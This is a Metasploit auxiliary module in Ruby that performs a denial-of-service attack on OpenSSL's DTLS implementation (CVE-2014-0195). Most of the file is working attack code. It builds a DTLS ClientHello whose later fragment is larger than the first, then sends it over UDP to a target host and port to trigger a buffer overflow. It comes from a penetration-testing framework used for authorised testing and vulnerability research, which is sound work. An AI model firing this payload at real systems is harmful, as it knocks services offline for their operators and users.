metasploit-framework/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb

81 lines
2.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' =>
[
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
])
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
sol = (seq << 48) | (frag_offset << 24) | frag_length
[
(type << 24) | length,
(sol >> 32),
(sol & 0x00000000FFFFFFFF)
].pack("NNN") + frag_body
end
def build_tls_message(type, version, epoch, sequence, message)
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
# sequence # (6 bytes) + message length (2 bytes), message body
es = (epoch << 48) | sequence
[
type,
version,
(es >> 32),
(es & 0x00000000FFFFFFFF),
message.length
].pack("CnNNn") + message
end
def run
# add a small fragment
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
udp_sock.put(message)
disconnect_udp
end
end